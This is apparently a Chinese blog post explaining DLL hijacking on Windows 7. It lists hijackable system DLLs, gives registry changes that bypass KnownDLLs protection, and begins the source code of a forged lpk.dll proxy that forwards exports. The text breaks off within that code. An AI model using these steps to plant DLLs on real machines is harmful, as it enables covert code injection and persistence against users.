WIN7下DLL劫持，注入

最新推荐文章于 2025-05-15 21:59:18 发布

原创

最新推荐文章于 2025-05-15 21:59:18 发布 · 8k 阅读

11 ·

CC 4.0 BY-SA版权

文章标签：

#DLL劫持 #WIN7

本文介绍了在Windows 7环境下如何进行DLL劫持，包括需要劫持的DLL列表，如lpk.dll、usp10.dll等。通过修改注册表以使程序从执行目录加载DLL，以及创建伪造的DLL文件放置于程序目录下，详细阐述了实施DLL劫持的步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

综述：

dll劫持，粗略整理了下，可以劫持的dll有：

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

一、修改注册表，使得程序从执行文件所在目录加载DLL

XP:

把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls下的lpk项删除掉，重启电脑。

WIN7:

在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager添加一个键值ExcludeFromKnownDlls（多字符串类型），把lpk.dll加进去。如果需要其他DLL请自行加入。

如图：

二、编译一个伪造的LPK.DLL，放在程序目录下

代码如下：

// lpk.cpp : Defines the entry point for the DLL application.
//

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <windows.h>
#include <process.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma c